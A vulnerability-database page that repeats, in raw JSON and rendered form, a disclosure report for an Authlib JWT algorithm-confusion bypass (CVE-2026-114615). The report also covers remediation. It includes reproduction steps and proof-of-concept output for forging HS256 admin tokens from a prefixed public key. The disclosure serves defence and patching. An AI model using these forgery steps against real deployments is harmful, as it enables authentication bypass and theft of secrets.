[CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-safety-CVE-2026-114615",
"modified": "2026-10-29T21:42:00Z",
"published": "2026-10-29T21:42:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-WEAVIATE-CLI-CVE-20… (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 21:46 – Updated: 2026-10-29 21:46 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "weaviate-cli",
"purl": "pkg:brew/weaviate-cli"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.2"
},
{
"fixed": "3.4.2_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-weaviate-cli-CVE-2026-114615",
"modified": "2026-10-29T21:46:15Z",
"published": "2026-10-29T21:46:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
FKIE_CVE-2026-114615
Vulnerability from fkie_nvd - Published: 2026-10-22 22:18 - Updated: 2026-10-23 19:34| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf | ||
| security-advisories@github.com | https://github.com/authlib/authlib/pull/945 | ||
| security-advisories@github.com | https://github.com/authlib/authlib/releases/tag/v1.9.0 | ||
| security-advisories@github.com | https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p |
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "authlib",
"vendor": "authlib",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.3.1, \u003c 1.9.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib\u0027s PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0."
}
],
"id": "CVE-2026-114615",
"lastModified": "2026-10-23T19:34:14.170",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 5.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-10-22T22:18:04.257",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Undergoing Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-184"
},
{
"lang": "en",
"value": "CWE-347"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
